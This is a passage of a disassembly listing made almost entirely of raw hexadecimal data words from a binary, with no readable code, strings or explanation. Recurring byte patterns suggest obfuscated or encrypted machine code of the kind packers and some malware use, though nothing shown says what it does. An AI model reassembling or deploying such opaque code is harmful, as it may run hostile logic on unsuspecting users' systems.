		dd 553F5995h, 511B1D17h, 0A1D84840h, 0E7E339B2h, 2BCD8F95h
		dd 34FEA7A9h, 31881479h, 69AC4F78h, 0DA7D2C1Bh,	0EE4347DBh
		dd 7DC26E6Ch, 0A1904DE3h, 0DC9694D2h, 11D0F81h,	5E126FE9h
		dd 751F9427h, 0B9491D7Eh, 511B1D09h, 0BD84725h,	553F490Bh
		dd 553F59C0h, 511B1DB5h, 39D84F12h, 0EDE99C6Fh,	0AE58170Fh
		dd 4312FC9Fh, 0CDA17B03h, 289E9478h, 3B1D0F62h,	52F34BA0h
		dd 711B1D50h, 0D845DE76h, 0D01F3960h, 4D1F394Eh, 171B1D05h
		dd 5C03DED4h, 0AE304E4Eh, 72E4DCE5h, 430354EDh,	209EDB2Eh
		dd 21D0F3Ch, 0B9481D60h, 511B1D06h, 0AD846A2h, 553F41C8h
		dd 553F5921h, 511B1D4Dh, 0D4D84E6Bh, 0D627E9A0h, 7D691B60h
		dd 26A675CAh, 9B9028FCh, 933F19C0h, 3B6E14ACh, 52F34F50h
		dd 711B1D28h, 0D841DE4Eh, 0D01F395Eh, 441F3941h, 131B1D82h
		dd 37F0DE13h, 61F2A85Fh, 0E4901B42h, 570906BDh,	511B14FCh
		dd 4FF3D60Ah, 9563B91Ah, 41F2DEC4h, 0F51B1D41h,	0A0767204h
		dd 0AB599E32h, 25F82FA4h, 0F59A856h, 2E2E9887h,	0EC901B10h
		dd 5709008Fh, 552680C8h, 81E41BB2h, 0B94D1D3Ah,	511B1D2Bh
		dd 0FD84334h, 553F6983h, 553F5984h, 511B1D9Eh, 0A2D84B07h
		dd 0B3B37A4Eh, 0B26D6B33h, 0B674D7A9h, 0D49236D7h, 57091BAFh
		dd 0D4DDCC8Eh, 570935F3h, 11B7706h, 511B1E48h, 92433D50h
		dd 755F9470h, 755F9C10h, 511B070Eh, 924B5D05h, 0CCD9CB68h
		dd 5E7FDD59h, 511B1B28h, 149E9450h, 0D81D0F01h,	43181091h
		dd 4B8750Ch, 659AE8E6h,	0C05B2EA6h, 61B7715h, 511B1E48h
		dd 92443D50h, 75679477h, 755F9C10h, 511B060Eh, 924C5A05h
		dd 349145F4h, 607D13BAh, 0E4E4E858h, 57092DB9h,	0B9491D42h
		dd 511B1D17h, 0BD8472Ah, 553F498Ch, 553F5903h, 511B1D57h
		dd 0A9D84FE2h, 0C43800D0h, 57090595h, 2E2E9899h, 51711B1Fh
		dd 5118F552h, 0E3B1D82h, 2D924282h, 159A1984h, 51001974h
		dd 65C1D28h, 1D208CD7h,	1FE20110h, 869A7B56h, 81E4C9B2h
		dd 0B94B1D2Bh, 511B1DA3h, 9D84570h, 553F59A1h, 553F5995h
		dd 511B1D1Fh, 6AD84D45h, 8FA27B80h, 549E94F2h, 3B1D0FBCh
		dd 52F34C50h, 711B1D28h, 0D842DE4Dh, 0D01F3946h, 4A1F3941h
		dd 101B1D82h, 1315DE10h, 3D8E7E77h, 0D014F770h,	511B1D2Eh
		dd 5222983Dh, 0D4DD1B18h, 57093574h, 0DA23A3D1h, 93737899h
		dd 0DB4C7E33h, 751F9C9Ah, 10CED6E6h, 4CA6809Dh,	0E4E41B18h
		dd 57092DECh, 0B9481DE8h, 511B1D42h, 0AD84680h,	553F41D9h
		dd 553F59A9h, 511B1D08h, 21D84E49h, 9D24E50h, 1C638E65h
		dd 449BC2C0h, 0E6147C88h, 649E909Ah, 0B81D0857h, 511B1D1Fh
		dd 0CF671943h, 0ABF05E9Ch, 0AE269139h, 31B7791h, 511B1E48h
		dd 92413D50h, 754F9472h
		dd 755F9C10h, 511B010Eh, 92495F05h, 6C7C3445h, 0F0B5F707h
		dd 609E947Eh, 621D0F4Bh, 430B38A5h, 209EDB12h, 61D0F22h
		dd 0CC92CC8Eh, 57093FFFh, 0BFEDF829h, 0D0CA9708h, 0F5F83964h
		dd 0AEE225C2h, 432BF4A1h, 61B770Ch, 511B1EEDh, 92443D82h
		dd 7567941Eh, 755F9CA4h, 511B0A54h, 924C5A28h, 476F5A11h
		dd 2E2E9887h, 51711B10h, 5118F5D0h, 0B3B1D41h, 5924763h
		dd 159A1974h, 510E190Ch, 3591D14h, 0AEC2BFC9h, 61B77D5h
		dd 511B1E6Ah, 92443D41h, 756794FFh, 755F9C54h, 511B092Ch
		dd 924C5A14h, 5110F5F5h, 8AEC1D05h, 32F5CA25h, 26B0D023h
		dd 20AE9699h, 0B1D0F7Dh, 44FA8829h, 0D4921B06h,	570931BFh
		dd 60B6908Ch, 0D4DD1B90h, 57093530h, 99AC12E3h,	5F6D5438h
		dd 751F9C85h, 5E9AE4CBh, 511B1AE2h, 999B4005h, 523C7333h
		dd 0AE451FF3h, 432BF415h, 31B7756h, 511B1EC0h, 92413D14h
		dd 754F9450h, 755F9C01h, 511B0586h, 92495F41h, 5F50E4B3h
		dd 510FF466h, 20FB1D28h, 0BE3C2739h, 90BD640Dh,	0A57BD8DFh
		dd 8BA035DAh, 0D4964926h, 570E6295h, 0B94E1D3Ah, 511B1D2Bh
		dd 0CD84034h, 553F7183h, 553F5984h, 511B1D99h, 0B8D84804h
		dd 25130AD7h, 0AE292141h, 0B84A7DF8h, 511B1D1Fh, 55007943h
		dd 39CC4C73h, 9DD1319h,	61FA98CAh, 0D87A1BB2h, 433454D5h
		dd 24A6962Eh, 0DA1D0F18h, 431C94BFh, 739E9003h,	0D01D084Ah
		dd 27CC4880h, 0E77B4DFBh, 30C4967Fh, 0D83F19A1h, 43048491h
		dd 589E940Ch, 0AE1D0F00h, 433BDC17h, 1B7747h, 511B1E48h
		dd 92423D50h, 75579471h, 755F9C10h, 511B050Eh, 924A5C05h
		dd 28B9E2D0h, 979A7B2Ah, 899003E1h, 0D496E9E6h,	570ED53Eh
		dd 0B9481D7Eh, 511B1D09h, 0AD84625h, 553F410Bh,	553F59C0h
		dd 511B1DB9h, 0EBD84E13h, 6DB58219h, 44869415h,	0B81D0F14h
		dd 511B1D0Dh, 7FE83F3Ch, 808A1C58h, 0A9907DF0h,	59F24F00h
		dd 6D1B1D28h, 9CEA83F0h, 5E4753B2h, 30434734h, 3B3F190Bh
		dd 52F34F41h, 711B1DA0h, 0D841DE0Ah, 0D01F397Ch, 4B1F3950h
		dd 131B1D0Ah, 0FE02DE57h, 0CB200AA2h, 511EF581h, 0E6C31DA0h
		dd 31EFBC74h, 9CE99C4Eh, 839A7BAEh, 0F7AE91Bh, 529E1296h
		dd 371B1D82h, 0C24BEFCAh, 444E98A1h, 0C4E41B42h, 570914C9h
		dd 502E989Dh, 51711B18h, 5118F553h, 0F3B1D82h, 25924382h
		dd 159A1984h, 51021974h, 75D1D28h, 0DF28C2D7h, 78C5CDB6h
		dd 43371480h, 189EDA84h, 5E1D0F55h, 311B1DA0h, 43D6A0DBh
		dd 0D07D1B3Ah, 30F65DC5h, 502E88F5h, 0E4921B17h, 5709375Bh
		dd 7E1E98C8h, 51711BB2h, 5118F505h, 0C3B1D28h, 3D9240D7h
		dd 159A192Eh, 51071921h, 45E1D82h, 36B7AC82h, 0AA88A6h
		dd 42F24208h, 271B1D28h, 0AB3AC9CFh, 0B4EABBE3h, 3E17EA84h
		dd 40F838A7h, 0CC921130h, 570903ADh, 4D3A98DBh,	0CC961B3Ah
		dd 570EC66Ch, 0DC1A5E83h, 431ED4B8h, 3AE9084h, 0E81D089Ah
		dd 511B1D93h, 62F0B9A3h, 511B1D90h, 25DB1614h, 5103DF09h
		dd 5D3F598Eh, 511BF5D1h, 0D0401D41h, 511B0A63h,	75479450h
		dd 755F9438h, 66A34600h, 0AE1BBCAAh, 755F96E5h,	3BFBE286h
		dd 52F34841h, 711B1DA0h, 0D846DE0Dh, 0D01F3944h, 461F3950h
		dd 141B1D0Ah, 6898DE50h, 0B09B9293h, 51717C63h,	5118F5F7h
		dd 0E3B1D50h, 2D9242EBh, 159A1930h, 5103192Eh, 65C1D05h
		dd 2E804A41h, 0DC2845E5h, 57090249h, 511B14B9h,	1C30D428h
		dd 0DD5C903Dh, 0EC96BB63h, 570ED513h, 8AE3900Fh, 64A31B54h
		dd 62833B0Bh, 4306F4D5h, 90D4362Eh, 0D151717Dh,	415118F5h
		dd 630A3B1Dh, 740D9246h, 0C159A19h, 14510D19h, 0E983581Dh
		dd 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 958B70B2h, 61231A5h, 54E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0EE92F58h, 10000000h, 0FBB1DF8Bh, 9FE42BFAh,	0E4D0C23Bh
		dd 0F8F861A2h, 57006AC3h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 1219D1BEh, 0E9C08BFAh
		dd 5, 0EC6B3BF6h, 91BD8368h, 6121Bh, 0BD830975h, 61217DDh
		dd 50197400h, 0B8C08B53h, 4B9h,	22958589h, 9D8D0612h, 614AE76h
		dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h,	4B9h, 22958589h
		dd 9D8D0612h, 614AB17h,	585BD3FFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0E1C35747h,	970A7BFFh, 0FCF91372h
		dd 8E960h, 69060000h, 0D29CD68h, 0BE9DB96h, 0F2000000h
		dd 0D5AD10DBh, 20F6D7BFh, 8B612314h, 0A800FC0h,	60000000h
		dd 8C0Fh, 0F98B0000h, 0C18B4061h, 4EBh,	81660000h, 8D8762CFh
		dd 122E0185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 1EBF4678h, 0FA8B66A4h, 0BABE6650h
		dd 50505F0Fh, 3981BF66h, 2404895Eh, 9E58589h, 6A0612h
		dd 6AFBB70Fh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0DBE55331h, 8DF28B7Dh, 15DE7E85h
		dd 15B58906h, 83061211h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 712407C3h, 924D0AA9h
		dd 0F78BFAF5h, 1811B529h, 0F500612h, 1085h, 4CB56000h
		dd 7E9h, 0FA95C00h, 17321BFh, 24048961h, 2F919D89h, 6A0612h
		dd 6AF8BF0Fh, 95FFF800h, 6120DB5h, 0AF029D8Dh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 48CFB6C3h, 4A0A94B7h, 8B231718h, 6AD3FFF9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 666AC357h, 0C97FC681h, 67985FFh, 57560612h, 17519D89h
		dd 5F5F0612h, 749E9h, 0E800h, 815D0000h, 15DE88EDh, 840F5606h
		dd 4, 39E5BF66h, 49BD815Fh, 0D0061214h,	0F000007h, 14886h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8B023EB0h, 1222B19Dh, 85B58B06h,	0E9061202h
		dd 8, 0DED0BC8Eh, 81EFD13Ch, 100E381h, 0B5090000h, 6122359h
		dd 850FDB0Bh, 83h, 58E0Fh, 0A7BE0000h, 8318EA50h, 15DD44BDh
		dd 840F0006h, 16h, 6840Fh, 66600000h, 612198BEh, 86E9h
		dd 0EE816600h, 85C747BEh, 615DD44h, 1, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 9DC35343h, 0D7F3A15Dh, 8E9CAh
		dd 0C3FA0000h, 0C9308B73h, 44E9774Fh, 0E8000000h, 0Ch
		dd 7B87037Ch, 78FFE832h, 4743D599h, 7859589h, 0C75E0612h
		dd 15DD4485h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 485BA135h, 8DF38B66h
		dd 1222B19Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0DC8D5C46h, 2E29B533h, 23810612h
		dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0B3C35646h, 0DB8C6602h,	4C3F6FCh, 5A840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD2306C3h, 6120145h, 13595FFh, 0BD8B0612h
		dd 6120E81h, 15998589h,	50900612h, 118D0Fh, 0BE80000h
		dd 1000000h, 0B7102540h, 1A1F14ECh, 905EAE6Dh, 6890Fh
		dd 0BD8B0000h, 6120D69h, 423E9h, 18D0F00h, 0FC000000h
		dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0E94A85C3h, 0C12607D6h, 198D295Ah, 0E6061230h
		dd 0E1BD2B70h, 0E4061230h, 52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B60F4B01h
		dd 88D0FD8h, 0F000000h,	280h, 0BA5E5600h, 6, 495B589h
		dd 0C38B0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	23C35343h, 4246C19h, 0B59D8B60h, 0B506121Dh, 0E8C161FCh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0FEFD82C7h, 0BD89D473h, 6120509h, 17759509h
		dd 0F7660612h, 36BF66E2h, 6AD82BA2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 81D5C357h
		dd 0BBE7B047h, 9EBFC67Bh, 0BE6650F5h, 1C89D22Dh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 4DBD030Ch, 0FF061203h, 121449B5h, 0C1B52906h, 0FF06122Ch
		dd 1219CD95h, 0FEB70F06h, 6A00B0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 63E172C3h, 543855BFh
		dd 0F9864F52h, 0BABE70E6h, 0F3D5A1Fh, 89h, 8171E400h, 58A760EFh
		dd 0F613C28h, 29F83h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 503CCE0Bh, 0B57EBE66h
		dd 0B1B58B5Eh, 0E9061234h, 0Dh,	3B77ED22h, 3C42253Ah, 0E372C755h
		dd 0D8B60F34h, 3B3976BEh, 6BA4Ch, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B3279C3h
		dd 0B0BF66C3h, 4E8C18Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 68C35646h, 6636E16Fh,	9589FB8Bh, 6122CE5h
		dd 6AE2F766h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0FFF2C353h, 0FB213702h, 0FDB58B8Ah
		dd 0E906120Dh, 11h, 0F281C1Bh, 57830D44h, 38CECF0Ch, 67E4B3E7h
		dd 0E1B58B8Eh, 2B061206h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 6A589FCBh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 426BC351h, 0AC1ABF66h, 6820Fh, 0BD8B0000h
		dd 6120DADh, 880FD82Bh,	16Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0EBC35747h,	0EC0F404Bh, 6744CBFh
		dd 0DE816671h, 7B9DF68h, 52000000h, 302D8D89h, 835F0612h
		dd 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0E666BDC3h, 8D0F4Fh, 3B000000h, 5860FD9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0D4A9C356h, 45D30AEFh,	66FC995Dh
		dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6DBD9AC3h, 811DAC47h, 15A98589h, 0C1F60612h
		dd 9F840F04h, 66000000h, 3005F681h, 13595FFh, 0FB8B0612h
		dd 6890F5Bh, 8B000000h,	12006DB5h, 6AC32B06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 8C2DC352h, 0C960904Fh, 0FA8B6652h, 8343D5Eh,	860F0000h
		dd 52h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 3AC35646h, 69BEDFB2h, 31391044h, 1214E98Dh, 32E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 4A71A7C3h, 0FC809DDh, 0C08BF1BFh,	6810Fh
		dd 0BD8B0000h, 6120C75h, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 4DC35747h, 7DAB23D4h, 820F9F1Bh
		dd 6, 2D7D9D01h, 10E90612h, 2D000000h, 60904F8Ch, 18F69FC9h
		dd 8BB39CF3h, 0C7C082F0h, 12204985h, 0A027D306h, 53006A1Ch
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D29606Ah, 612088Dh,	6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0CDF8E1C3h, 68F324B9h
		dd 0BD81F9A7h, 6121449h, 7D0h, 2B850Fh,	6A0000h, 3E853h
		dd 5B200000h
		db 0C3h, 5Bh
word_584F4E	dw 5C89h		; DATA XREF: ___:00436EFCo
		dd 44810424h, 170424h, 53430000h, 0CA21C4C3h, 4985FFBBh
		dd 89061214h, 12158D95h, 49B5FF06h, 66061214h, 0FFCA2FBEh
		dd 1219CD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 71036680h, 68F0Fh, 0DF810000h, 7AF2CCA5h
		dd 9D91CE81h, 958903D6h, 6122AE9h, 5678B890h, 9D8D1234h
		dd 615E59Fh, 0FFF8D4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0C18BEBA0h, 25B58960h
		dd 0E8061215h, 0Ch, 73AF2222h, 0EA93D9B7h, 56AFDF09h, 5E81CE80h
		dd 0DEBF6661h, 4EBBEh, 8B000000h, 120331BDh, 10E906h, 17F80000h
		dd 49513003h, 78900CDh,	4977BBE3h, 816612FBh, 8D51E2C6h
		dd 122E0185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 805ECB6h,	8BA89B52h, 121421B5h, 4DBF5006h
		dd 897E4C79h, 0BF662404h, 6A5606h, 6A5F51h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1C35242h, 0CB42BA28h
		dd 0D5BD8B51h, 5E061206h, 8F1EBE66h, 0E7C2858Dh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 816634C3h, 8321B6F7h, 0BD8B05C0h, 61215E1h, 52505150h
		dd 7E9310Fh, 0AB000000h, 0D8C2B02h, 585A145Bh, 2404895Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h
		dd 3D0D86C1h, 68A0FE4h,	29000000h, 12132185h, 6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 2692C352h, 6A3BF226h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 89B4887Eh
		dd 9C19F383h, 0EDBD8BD1h, 0FF061220h, 120DB595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F6816693h, 9D8D5B57h, 615AF02h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A2C35141h,	3B28D89Bh, 13BE6695h
		dd 6AD3FFD4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0A57C355h, 0FE67542Bh,	85FF16B5h
		dd 6120679h, 0EF0E9h, 0E800h, 815D0000h, 15E7CCEDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9B055134h, 26DB58Bh,	0BE660612h, 0BD811EC9h,	6121449h
		dd 7D0h, 11B860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 364A90C3h, 8B2EC8A7h
		dd 1223DDB5h, 1D9D8B06h, 0F061205h, 82h, 0E38100h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 8DE9C352h, 14389587h, 1AF99589h, 0F88B0612h
		dd 850FDB0Bh, 43h, 5BF3BF66h, 0E5F1BD83h, 0F000615h, 1184h
		dd 55858900h, 0E9061219h, 5Fh, 2A99BD0Bh, 85C70612h, 615E5F1h
		dd 1, 5159529h,	44E90612h, 0F000000h, 68Bh, 31BD0B00h
		dd 0C7061200h, 15E5F185h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 6F31ACDh, 0BF6681A9h
		dd 820F645Ah, 3, 8DFEBF0Fh, 12051D9Dh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0BF58D8ABh, 18FA62F4h, 0FF2381FCh, 81FFFFFEh, 8CF204D7h
		dd 0DB8C661Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	92C35343h, 0F6F38B66h, 840F04C3h, 18h, 13595FFh
		dd 8D290612h, 6121795h,	89FA8B50h, 9D892404h, 6121619h
		dd 4C8E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 17BF667Eh, 6A00B035h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4009C353h
		dd 0B50B70E6h, 6122AC5h, 89E72BBFh, 6A71E47Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0E7E4C350h, 0BD8B89BFh, 6121F69h, 53D8B60Fh,	6BA5EFCh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 5CB8C355h, 12E9863Fh, 32000000h
		dd 1CA8B19Ah, 64ED1127h, 77C35E3Fh, 677739C1h, 0DE81662Bh
		dd 0C38B4160h, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 5037C357h, 689A5350h
		dd 0F76636C4h, 6E9E2h, 23970000h, 0C287A43Ch, 6AD82Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0E91017C3h, 6050FC5Ch, 0F525060h, 57585A31h,	8961615Fh
		dd 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 3E622C3h,	0B5FFFCF1h, 6121449h, 26A5B501h
		dd 95FF0612h, 61219CDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 24C35747h, 0ADC246E5h, 0B0C33FBFh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 3695CDFCh, 0E5B58BD8h, 0E6061218h, 56006A70h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0E984161Ah, 5, 57CC1CDFh, 6A71E4AFh,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 98C3C356h
		dd 0FE3FB28h, 830F613Ch, 2D5h, 43F5BF66h, 6AD8B60Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 9886C350h, 10E895h, 230000h,	0C425AC0Fh, 947DFA9Dh
		dd 67125478h, 8950E79Ch, 122F319Dh, 295E5E06h, 1210A9BDh
		dd 6BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0EE7123C3h, 8B664995h, 66C38BF2h
		dd 0C13559BFh, 665604E8h, 7386D781h, 0E2F7665Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 0DB7EF372h
		dd 661B705Ch, 2BF838BFh, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8BF364A1h, 12166DB5h
		dd 9D895806h, 6121C09h,	880FD82Bh, 1F5h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 4EC35040h, 0C31DA68Dh
		dd 0B9F8B7BCh, 7, 2BD9B523h, 83FC0612h,	6A00C1h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 2A9497C3h, 848EABBEh, 0D93BEB75h, 197860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 2E94FBC3h, 610FBF74h, 8C66779Ch, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 4C1F6C1h, 12B840Fh
		dd 0FC600000h, 2E13EF81h, 8B614B0Ah, 122AC5B5h,	3595FF06h
		dd 6A061201h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F27C357h, 682h, 0D1B53300h, 5B061234h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0E8C35747h, 0D71B358Fh, 53499F02h, 0BE9h
		dd 0FF0D0800h, 0C43F2AF7h, 0BCF87AEFh, 6AC32Bh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 9642C7C3h, 72F1DDC2h, 11E8FDh, 2BDD0000h, 0E749DB91h
		dd 9260734Ah, 52DE4ECAh, 5EAB2681h, 8343Dh, 72860F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B5CCC356h, 0E754ABACh, 0CE92Fh
		dd 7D6E0000h, 80F33C60h, 0F49D38Eh, 0D681475Fh,	565E0C77h
		dd 54E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 816552BAh, 40AE5BDFh, 9E861h, 7DBE0000h
		dd 35693DB0h, 0FC9617D5h, 6AC08B5Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0C4DFC353h
		dd 8BC38B0Fh, 0A5B58BD8h, 0C7061223h, 1222B185h, 11EFBD06h
		dd 57006A5Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0EBCA7127h, 99C772C3h, 159D89AAh, 8B06122Fh
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 49BD817Ch, 0D0061214h, 0F000007h, 3685h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 79134C62h, 66A8871Ah, 0BCBEFA8Bh, 0FF675853h
		dd 12144985h, 1BF68106h, 0FF46BEAFh, 121449B5h,	0D5BD8B06h
		dd 0FF061219h, 1219CD95h, 13E906h, 0E7470000h, 5C5462A8h
		dd 0F51E9EBBh, 9A2E821Eh, 44357E45h, 6A4090F3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 103BC355h, 1C6DB04Dh, 1FC1BD83h, 0F000612h, 0D884h
		dd 0F525600h, 5F5EF9BFh, 0F6816653h, 835FE1C4h,	120099BDh
		dd 840F0006h, 0BDh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 7CC35040h, 297ED11Dh,	0D1FCAC18h, 7DB58B2Fh
		dd 0FF061210h, 121FC195h, 0FA8B6606h, 840FC00Bh, 81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 40C35646h, 0B58D8D19h
		dd 0E906124Dh, 0Ah, 0E24B7DDBh,	0B9AC8374h, 5B831A5h, 0E9000000h
		dd 13h,	0A3EC5472h, 6BBCF7B1h, 0C369835Fh, 165B5768h, 0FF28C75Bh
		dd 50006AE1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0DEEF686Bh, 0E5033A81h, 8166EA4Bh, 296AADC7h
		dd 12013DB5h, 0D9BD8306h, 61229h, 68B840Fh, 840F0000h
		dd 4, 2665BE66h, 99BD83h, 0F000612h, 67484h, 4DBD8900h
		dd 8D061217h, 1213718Dh, 0F58D8906h, 0C7061229h, 0B27C8401h
		dd 57006A44h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8B663E90h, 0CB0181F7h, 6A1499CFh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0DC2C350h, 0C68166C1h, 41C7333Ah, 706B3404h,	8F0F60CEh
		dd 4, 0CFFCB866h, 29A9B50Bh, 81610612h,	0D7100441h, 6A31D6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
